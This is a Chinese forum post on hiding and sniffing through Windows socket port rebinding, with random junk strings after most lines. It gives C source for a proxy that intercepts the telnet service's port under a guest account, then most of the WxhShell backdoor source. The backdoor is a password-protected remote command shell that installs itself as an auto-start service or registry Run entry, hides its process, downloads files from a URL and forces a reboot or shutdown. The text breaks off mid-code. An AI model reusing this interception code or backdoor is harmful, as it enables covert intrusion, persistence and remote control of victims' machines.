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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: js'* :*7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); My Af~&Y+  
k h#|`E#,  
  saddr.sin_family = AF_INET; BX2&tQSp  
RhXX/HFk  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xlv:+  
(\,mA-%E  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $Ob]JAf}  
+2MsyA?6_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @U:WWTzf  
+TA(crD  
  这意味着什么?意味着可以进行如下的攻击: C&K%Q3V  
auaFP-$`f  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 noGMfZ1  
#li;L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !5Z?D8dcx  
:KMo'pL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E+UOuf*(  
\d]&}`'4{f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bP(V#6IJ8  
rXo,\zI;u^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ib*$3Fn~  
DV]Kd 7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V]`V3cy1+3  
$ bD 3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 JxNjyw  
.@/5Ln  
  #include N y7VIh|  
  #include Pg|q{fc  
  #include DZ(e^vq  
  #include    C} Ewi-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   pJK puoiX  
  int main() HOtays,#<}  
  { =DG aK0n  
  WORD wVersionRequested; h:Npi `y  
  DWORD ret; IgR_p7['.  
  WSADATA wsaData; bXC;6xZV  
  BOOL val; ]%"Z[R   
  SOCKADDR_IN saddr; FzFY2h;n]B  
  SOCKADDR_IN scaddr; 'R,1Jmx  
  int err; m9.QGX\]  
  SOCKET s; !>  
  SOCKET sc; |P>> ^,iUn  
  int caddsize; ib ;:*  
  HANDLE mt; YmNBtGhT  
  DWORD tid;   JY_+p9KfyQ  
  wVersionRequested = MAKEWORD( 2, 2 ); @;JT }R H-  
  err = WSAStartup( wVersionRequested, &wsaData ); T1\.~]-msb  
  if ( err != 0 ) { %l5Uy??Z  
  printf("error!WSAStartup failed!\n"); #0hX)7(j  
  return -1; #eR*|W7o  
  } D.)R8X  
  saddr.sin_family = AF_INET; kplyZ  
   )u(`s`zd  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3#^xxEu  
Cf@WjgR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Go+f0aig  
  saddr.sin_port = htons(23); y3))I\QT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *-Z JF6  
  { pV:X_M6  
  printf("error!socket failed!\n"); h9 [ov)  
  return -1; Y[ a$~n^:n  
  } MJ4+|riB  
  val = TRUE; CQ"5bnR  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Wd3/Y/MD  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s)8g4Yc*  
  { 7:9WiN5b  
  printf("error!setsockopt failed!\n"); 3' mQ=tKa  
  return -1; G0xk @SE  
  } 7K%Ac  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u2@:[:Ao  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dl;^sn0s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C[|jJ9VE,  
wRi!eN?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /2~qm/%Q  
  { : v<|y F  
  ret=GetLastError(); 'HH[[9Q  
  printf("error!bind failed!\n"); =Pd3SC})6V  
  return -1; l" *zr ;#  
  } = 0Z}s  
  listen(s,2); A)/_:  
  while(1) 3K_J"B*7  
  { T%VC$u4F  
  caddsize = sizeof(scaddr); 3l-8TR  
  //接受连接请求 &3:-(:<U  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z|<6y~5,  
  if(sc!=INVALID_SOCKET) .?@$Rd2@W  
  { >E^sZmY[f-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6Y`eYp5A  
  if(mt==NULL) )xoIH{  
  { .Q>.|mu  
  printf("Thread Creat Failed!\n"); 18zv]v %  
  break; ~]O~a}]g(  
  } Gh>Rt=Qu%  
  } UQ}[2x(Kb  
  CloseHandle(mt); \h!%U*!7{  
  } 4`7N}$j#,  
  closesocket(s); 7:)=  
  WSACleanup(); OT+=H)/  
  return 0; z)#I"$!d  
  }   bLhTgss](  
  DWORD WINAPI ClientThread(LPVOID lpParam) AU OL?st  
  { ^yb3L1y  
  SOCKET ss = (SOCKET)lpParam; h-].?X,]Q  
  SOCKET sc; =e$<[ "  
  unsigned char buf[4096]; $^?Mip  
  SOCKADDR_IN saddr; N^*%{[<5  
  long num; }~DlOvsq  
  DWORD val; '=Nb`n3%  
  DWORD ret; |A0BYzlVc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @@-n/9>vs  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   KLBU8%  
  saddr.sin_family = AF_INET; #^|y0:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P<ElH 3J`  
  saddr.sin_port = htons(23); MzM"r"u  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C& BRyo  
  { :PE{2*  
  printf("error!socket failed!\n"); 7jL+c~  
  return -1; ;|}N\[fk%]  
  } 7 XE&[o  
  val = 100; aMe]6cWHV>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -K eoq  
  { YcOPqvQ  
  ret = GetLastError(); $P&{DOiKS  
  return -1; t(AW2{%}  
  } [ R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b+Vfi9<  
  { 1 j"G~TM  
  ret = GetLastError(); >HNBTc=~t  
  return -1; Q6)Wh6Cm  
  } {RH&mu  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q]$gw,H"6  
  { =z^ 2KH  
  printf("error!socket connect failed!\n"); SQ'\Kd=  
  closesocket(sc); Z.'j7(tu  
  closesocket(ss); P1C{G'cR  
  return -1; K)b@,/5  
  } PkX4 !  
  while(1) QTr) r;Tro  
  { /5:2g# S4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,2oFt\`.r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -[/tS<U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kZ<0|b  
  num = recv(ss,buf,4096,0); C2t]  
  if(num>0) b3.  
  send(sc,buf,num,0); qlSI|@CO  
  else if(num==0) I;1W6uD=  
  break; {=K);z  
  num = recv(sc,buf,4096,0); BOt1J_;(rO  
  if(num>0) CWT#1L=  
  send(ss,buf,num,0); xmVW6 ,<?  
  else if(num==0) 1.24ZX  
  break; f/xQy}4+~E  
  } d?:KEi-<7  
  closesocket(ss); 0JT"Pv_  
  closesocket(sc); 7N:3  
  return 0 ; %_Q+@9  
  } 5 w-Pq&q  
Nk63F&J7e  
'/="bSF  
========================================================== =[JstiT?E  
K_! R   
下边附上一个代码,,WXhSHELL 1;v,rs M  
b:WA}x V  
========================================================== 'p FK+j  
IA%|OVAfF  
#include "stdafx.h" NF "|*S  
($nQmr;t  
#include <stdio.h> L"KKW c  
#include <string.h> <-6f}wN  
#include <windows.h> CdZ. T/x  
#include <winsock2.h> 0tKVo]EK  
#include <winsvc.h> &]"Z x0t5%  
#include <urlmon.h> ^'%Q>FVb  
}j$tFFVi~  
#pragma comment (lib, "Ws2_32.lib") *I:a \o~$[  
#pragma comment (lib, "urlmon.lib") _-|/$ jZ  
.oS[ DTn5S  
#define MAX_USER   100 // 最大客户端连接数 DD5cUlOSu  
#define BUF_SOCK   200 // sock buffer q2 b>Z6!5  
#define KEY_BUFF   255 // 输入 buffer M!YGv   
R XN0v@V  
#define REBOOT     0   // 重启 S awf]/  
#define SHUTDOWN   1   // 关机 `h%K8];<6f  
).)^\  
#define DEF_PORT   5000 // 监听端口 !J&UO/q.  
M ~ ;]d  
#define REG_LEN     16   // 注册表键长度 ~|G`f\Ln"  
#define SVC_LEN     80   // NT服务名长度 c(b2f-0!4  
;il+C!6zpf  
// 从dll定义API B&QEt[=s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w~C\5 i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aX,6y1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (A )f r4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +~>cAWZq_  
b@S~ =  
// wxhshell配置信息 e ?7y$H-  
struct WSCFG { eZ]>;5  
  int ws_port;         // 监听端口 n8E3w:A-  
  char ws_passstr[REG_LEN]; // 口令 An_3DrUFV_  
  int ws_autoins;       // 安装标记, 1=yes 0=no -d9L  
  char ws_regname[REG_LEN]; // 注册表键名 63(XCO  
  char ws_svcname[REG_LEN]; // 服务名 2 g~W})e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f?r{Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;}lsD1S:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "574%\#4z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QFK'r\3 pU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~Ede5Vg!!2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ei<m/v  
;eJ|) *  
}; O=eU38n:5u  
j u&v4]  
// default Wxhshell configuration D9  Mst6  
struct WSCFG wscfg={DEF_PORT, LSR0yCU  
    "xuhuanlingzhe", `,O"^zR)z  
    1, 'C=(?H)M  
    "Wxhshell", iSX HMp4V  
    "Wxhshell", w`EC6ZN  
            "WxhShell Service", IB$i ^  
    "Wrsky Windows CmdShell Service", p1[|5r5Day  
    "Please Input Your Password: ", odDVdVx0  
  1, 6B]i}nFH{+  
  "http://www.wrsky.com/wxhshell.exe", [wk1p-hf  
  "Wxhshell.exe" D^xg2D  
    }; 1Q=L/k eP  
k& M~yb  
// 消息定义模块 H ?eG5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KSJ+3_7 ]k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 39m8iI%w[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !u:Fn)j  
char *msg_ws_ext="\n\rExit."; PdEPDyFkh  
char *msg_ws_end="\n\rQuit."; ^hsr/|  
char *msg_ws_boot="\n\rReboot..."; vM-kk:n7f  
char *msg_ws_poff="\n\rShutdown..."; belBdxa{"  
char *msg_ws_down="\n\rSave to "; !acuOBv,  
Rqbz3h~  
char *msg_ws_err="\n\rErr!"; 8QMMKO ui\  
char *msg_ws_ok="\n\rOK!"; $2Awp@j  
f'MRC \  
char ExeFile[MAX_PATH]; m;nH v  
int nUser = 0; qY!LzKM0  
HANDLE handles[MAX_USER]; Q"Exmn3p  
int OsIsNt; Lctp=X4  
.76Z  
SERVICE_STATUS       serviceStatus; {t4':{Y+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $m-C6xC/  
{MN6JGb|'  
// 函数声明 vXZP>  
int Install(void); rLY I\  
int Uninstall(void); Q);}1'c  
int DownloadFile(char *sURL, SOCKET wsh); w11L@t[5W8  
int Boot(int flag); =(~*8hJ  
void HideProc(void); J*zQ8\f=}  
int GetOsVer(void); Z"KrirZ  
int Wxhshell(SOCKET wsl); vR pO0qG  
void TalkWithClient(void *cs); )Jw$&%/{1  
int CmdShell(SOCKET sock); qG2P?DR  
int StartFromService(void); + rM]RFi  
int StartWxhshell(LPSTR lpCmdLine); ~OLyG$JJ  
R&:Qy7"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IGo5b-ds  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rWqr-"0S.  
il"pKQF  
// 数据结构和表定义 J9f]=1`  
SERVICE_TABLE_ENTRY DispatchTable[] = qVO,sKQ{  
{ /Z~$`!J  
{wscfg.ws_svcname, NTServiceMain}, h#dfhcU>  
{NULL, NULL} X)= m4\R  
}; DwK$c^2q{.  
@7;}6,)  
// 自我安装 ooCfr?E  
int Install(void) ynf!1!4  
{ loHMQKy@  
  char svExeFile[MAX_PATH]; eht>4)  
  HKEY key; G8MLg#  
  strcpy(svExeFile,ExeFile); 7AqbfLO  
jK%Lewq  
// 如果是win9x系统,修改注册表设为自启动 (dx~lMI  
if(!OsIsNt) {  @k#xr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T11>&K)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q~n%c7  
  RegCloseKey(key); 3hEbM'L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KdzV^6K<c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >wFn|7\)s>  
  RegCloseKey(key); 'c]Pm,Ls  
  return 0; 9l|*E  
    } ,|;\)tT  
  } JuOCOl\  
} DMSC(Sz  
else { ;#8xRLW  
.$Yp~  
// 如果是NT以上系统,安装为系统服务 k9NHdi7&2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [r9HYju =  
if (schSCManager!=0) s;[=B  
{ X`-o0HG  
  SC_HANDLE schService = CreateService L)S V?FBx  
  ( -6X+:r`>u  
  schSCManager, zz<o4b R  
  wscfg.ws_svcname, 5zyd;y)|'  
  wscfg.ws_svcdisp, S!^I<#d K  
  SERVICE_ALL_ACCESS, MX+gc$Y O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?(}~[  
  SERVICE_AUTO_START, h&!$ `)   
  SERVICE_ERROR_NORMAL, ^&c &5S}  
  svExeFile, ~fzuz'"^  
  NULL, TN08 ,:k  
  NULL, <^W5UU#Pg  
  NULL, y@AUSh;  
  NULL, [By|3 bI  
  NULL L. S/Mv  
  ); o{l]n*  
  if (schService!=0) B1%xU?  
  { 9[ o$/x}  
  CloseServiceHandle(schService); EN,}[^Z  
  CloseServiceHandle(schSCManager); -zzT:C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9%0^fhrJ  
  strcat(svExeFile,wscfg.ws_svcname); |@f\[v9`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gO@LJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uu>R)iTQ%S  
  RegCloseKey(key); Zw<<p|{)<  
  return 0; N| P?!G-=  
    } 3;!!`R>e  
  } MOi1+`kwh  
  CloseServiceHandle(schSCManager); :2XX~|  
} sv#b5,>9  
} s"2+H}u   
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return 1; Gq%,'am f  
} m& D#5C  
vTWm_ed+^  
// 自我卸载 Bo'v!bI7  
int Uninstall(void) 5aXE^.`  
{ ~\<L74BB  
  HKEY key; 6['o^>\}f  
S/l6c P  
if(!OsIsNt) { #>sI XY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u% =2g'+)_  
  RegDeleteValue(key,wscfg.ws_regname); 8_O?#JYi  
  RegCloseKey(key); HXPq+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R+=wSG]  
  RegDeleteValue(key,wscfg.ws_regname); YTr+"\CkA  
  RegCloseKey(key); am7~  
  return 0; yb0Mn*X+ N  
  } P{: 5i%qC  
} k%aJ%(  
} SO<9?uk.  
else { hrXk7}9  
o]GZq..  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I\Cg-&e  
if (schSCManager!=0) "{2niBx  
{ 58eO|c(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1?Tj  
  if (schService!=0) 8]bLp  
  { IABF_GwF  
  if(DeleteService(schService)!=0) { $H&:R&Us  
  CloseServiceHandle(schService); /bo`@ !-#  
  CloseServiceHandle(schSCManager); mrr -jo  
  return 0; mMO]l(a&  
  } +c__U Qx  
  CloseServiceHandle(schService); L@ejFXQg  
  } \Xr*1DI<  
  CloseServiceHandle(schSCManager); jx ?"`;a  
}  [ A 7{}  
} 9o3?  
GLMpWD`Wo  
return 1; Dz8aJ6g  
} tX,x%(  
fX>y^s?y  
// 从指定url下载文件 <\P `<  
int DownloadFile(char *sURL, SOCKET wsh) g0-rQA  
{ )l`VE_(|  
  HRESULT hr; VSh&Y_%  
char seps[]= "/"; Nu'ox. V  
char *token; p\.IP2+c  
char *file; QFgKEUNgl  
char myURL[MAX_PATH]; 1y,/|Y  
char myFILE[MAX_PATH]; .nEiYS|T  
 k)W&ZY  
strcpy(myURL,sURL); Q8.LlE999  
  token=strtok(myURL,seps); k dhwnO  
  while(token!=NULL) dQO 5  
  { U\-R'Z>M  
    file=token; rZ2cC#  
  token=strtok(NULL,seps); i)$<j!L  
  } ?},RN  
k~, k@mR  
GetCurrentDirectory(MAX_PATH,myFILE); ,ne3uPRu7~  
strcat(myFILE, "\\"); rd)W+W9  
strcat(myFILE, file); u1\r:q  
  send(wsh,myFILE,strlen(myFILE),0); *M$'dLn  
send(wsh,"...",3,0); ;kT~&.,y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6& 6|R3  
  if(hr==S_OK) SDVnyT  
return 0; yM,Y8^  
else D_`NCnYG  
return 1; J"TF@7{p  
X}g3[  
} ,,BWWFg~  
{kr14 l*2  
// 系统电源模块 M5L/3qLh1  
int Boot(int flag) cmU>A721  
{ K_!:oe7%  
  HANDLE hToken; 9}H]4"f7  
  TOKEN_PRIVILEGES tkp; R dNL f  
|IS$Om  
  if(OsIsNt) { F07X9s44E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p./0N.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aK 7 }}  
    tkp.PrivilegeCount = 1; yhs:.h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OB*V4Yv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {<?8Y  
if(flag==REBOOT) { !(Y,2{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G.PRPl  
  return 0; 'K#ndCGJ$  
} %joL}f[  
else { @[Q`k=h$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ydAiH*>  
  return 0; syI|gANT/r  
} 'g3T'2"`5  
  } +(^H L3  
  else { 9[sOh<W  
if(flag==REBOOT) { \N$)Q.M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +[_3h9BK  
  return 0; gYe6(l7m  
} ;~'&m  
else { vhcp[=e :  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M}Xf<:g)  
  return 0; tBX71d T  
} B-PX/Q  
} 5L_`Fw\l  
v G9>e&Be  
return 1; 7R# }AQ   
} HxcL3Bh$~}  
M>}_2G]#F  
// win9x进程隐藏模块 Qkhor-f0  
void HideProc(void) $48 Z>ij?f  
{ +w"?q'SnF  
oYt 34@{?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C\B4Uu6q  
  if ( hKernel != NULL ) j-.Y!$a%6  
  { 0m"Ni:KEf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n9n)eI)R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p@[ fZj  
    FreeLibrary(hKernel); < fV][W  
  } }r!hm?e  
3dSC`K  
return; 76KNgV)3  
} ={+8jQqi1  
9C0#K\  
// 获取操作系统版本 1:>F{g  
int GetOsVer(void) F\|4zM  
{ =%7s0l3z  
  OSVERSIONINFO winfo; P{yb%@I~J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <HzL%DX  
  GetVersionEx(&winfo); _x|.\j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3!vzkBr  
  return 1; ?~!9\dek,  
  else n?;rWq"  
  return 0; xu%eg]  
} 1<5Ug8q  
tC5-^5[y  
// 客户端句柄模块 UGj |)/  
int Wxhshell(SOCKET wsl) fc9@l a  
{ ]5Dh<QY&.  
  SOCKET wsh; ~QDM .5  
  struct sockaddr_in client; C+[)^ 2M{  
  DWORD myID; aB?usVoS  
aT(_c/t.  
  while(nUser<MAX_USER) V; CPn  
{ S!+>{JyQ  
  int nSize=sizeof(client); y@I t#!u0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o]<9wc:FZ  
  if(wsh==INVALID_SOCKET) return 1; a^pbBDi W  
Jazgn5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HD/!J9&  
if(handles[nUser]==0) %OHZOs  
  closesocket(wsh); %.?V\l  
else E)ZL+(  
  nUser++; /jGV[_Q=P  
  } aWJj@',_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p:z~>ca  
i7e6lC  
  return 0; Y#tur`N  
} CxZh^V8LP  
l`i97P?/W  
// 关闭 socket \C h01LR"  
void CloseIt(SOCKET wsh) 2E[7RBFY+\  
{ 6a9$VGInU  
closesocket(wsh); v8j3 K   
nUser--; TlRc8r|  
ExitThread(0); ^|]Dg &N.  
} > pP&/  
GNe^ ~  
// 客户端请求句柄 ,"XiI$Le  
void TalkWithClient(void *cs) O#^H.B  
{ d]" 4aS  
0GXY2+p}S  
  SOCKET wsh=(SOCKET)cs; _#s,$K#  
  char pwd[SVC_LEN]; VqpC@C$  
  char cmd[KEY_BUFF]; )1KyUQ\e  
char chr[1]; qq]Iy=  
int i,j; X<P <-e9  
nS*Y+Q^9a  
  while (nUser < MAX_USER) { % hvK;B?Y|  
Jk6}hUH,  
if(wscfg.ws_passstr) { %0N HU`j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W ';X4e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i >s  
  //ZeroMemory(pwd,KEY_BUFF); ]L7A$sTUQ  
      i=0; 2R.L LE  
  while(i<SVC_LEN) { _Uq' N0U  
Fu tS  
  // 设置超时 Mjy:k|aY"  
  fd_set FdRead; a4=(z72xe  
  struct timeval TimeOut; S!.&#sc  
  FD_ZERO(&FdRead); I4{xQI  
  FD_SET(wsh,&FdRead); Cul=,;pkB  
  TimeOut.tv_sec=8; ow.!4kx{d  
  TimeOut.tv_usec=0; wz*iwd-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (Y@T5-!D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $?G@ijk,  
|f#hGk6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pX?3inQP%(  
  pwd=chr[0]; }|Mwv $`  
  if(chr[0]==0xd || chr[0]==0xa) { *_o(~5w-K  
  pwd=0; kzDN(_<1  
  break; ;54NQB3L  
  } e12QYoh  
  i++; Y}N\|*ye-  
    } ]f0'YLG  
.Dr!\.hL  
  // 如果是非法用户,关闭 socket c{BAQZVc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C; N6",s!  
} YAOfuas]j  
[49Cvde^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h<`aL;.g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y(.e e%;,  
]HuB%G|t1V  
while(1) { _9 ]:0bDUo  
Y \-W`  
  ZeroMemory(cmd,KEY_BUFF); ~\jP+[>M'  
V0>X2&.A  
      // 自动支持客户端 telnet标准   >8>!wi9U  
  j=0; iM)K:L7d  
  while(j<KEY_BUFF) { :_~.Nt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QL WnP-  
  cmd[j]=chr[0]; gHrs|6q9  
  if(chr[0]==0xa || chr[0]==0xd) { % /VCjuV  
  cmd[j]=0; &uK(. @  
  break; 6*q1%rs:w  
  } J* *(7d  
  j++; ~v.mbh  
    } vSH,fS-n  
Q'/sP 5Pj  
  // 下载文件 ^w60AqR8  
  if(strstr(cmd,"http://")) { HcsV q+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j|k/&q[St  
  if(DownloadFile(cmd,wsh)) ahg:mlaob  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A'DFY {  
  else I)Xf4F S@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]P0%S@]  
  } c$Kc,`2m7  
  else { :o>=^N  
E EDFyZ  
    switch(cmd[0]) { lFjz*g2'  
  dFy$w=  
  // 帮助 s5nw<V9$]  
  case '?': { \9)5b8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hd|[>4Z  
    break; D_DwP$wSo  
  } ub-3/T  
  // 安装 [a2]_]E%  
  case 'i': { | ys5.|  
    if(Install()) 'f\9'v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pAE (i7  
    else fp' '+R[   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }=[p>3Dd  
    break; l{{,D57J  
    } {dpC;jsW1  
  // 卸载 w}xA@JgQ%  
  case 'r': { Z-PB CU  
    if(Uninstall()) '~D4%WKT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $0_K&_5w~  
    else %Jt35j@Ee  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i%K6<1R;y{  
    break; 3^7+fxYWo  
    } oMQ4q{&|  
  // 显示 wxhshell 所在路径 >1j#XA8  
  case 'p': { J:@gmo`M;V  
    char svExeFile[MAX_PATH]; L|CdTRgRCB  
    strcpy(svExeFile,"\n\r"); TEz;:*,CG  
      strcat(svExeFile,ExeFile); atTR6%!6  
        send(wsh,svExeFile,strlen(svExeFile),0); 41X`.  
    break; qVC+q8  
    } E>bkEm  
  // 重启 5whW>T  
  case 'b': { r1L@p[>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gNB+e5[; 2  
    if(Boot(REBOOT)) 8z`ZHn3=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qUJ"* )S  
    else { * ,a F-  
    closesocket(wsh); 0= $/  
    ExitThread(0); q<&1,^ A  
    } hIe.Mv-I)  
    break; .-Lrrk)R+  
    } >v+1 v  
  // 关机 qLEYBv-3  
  case 'd': { CvU$Fsb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =X R~I  
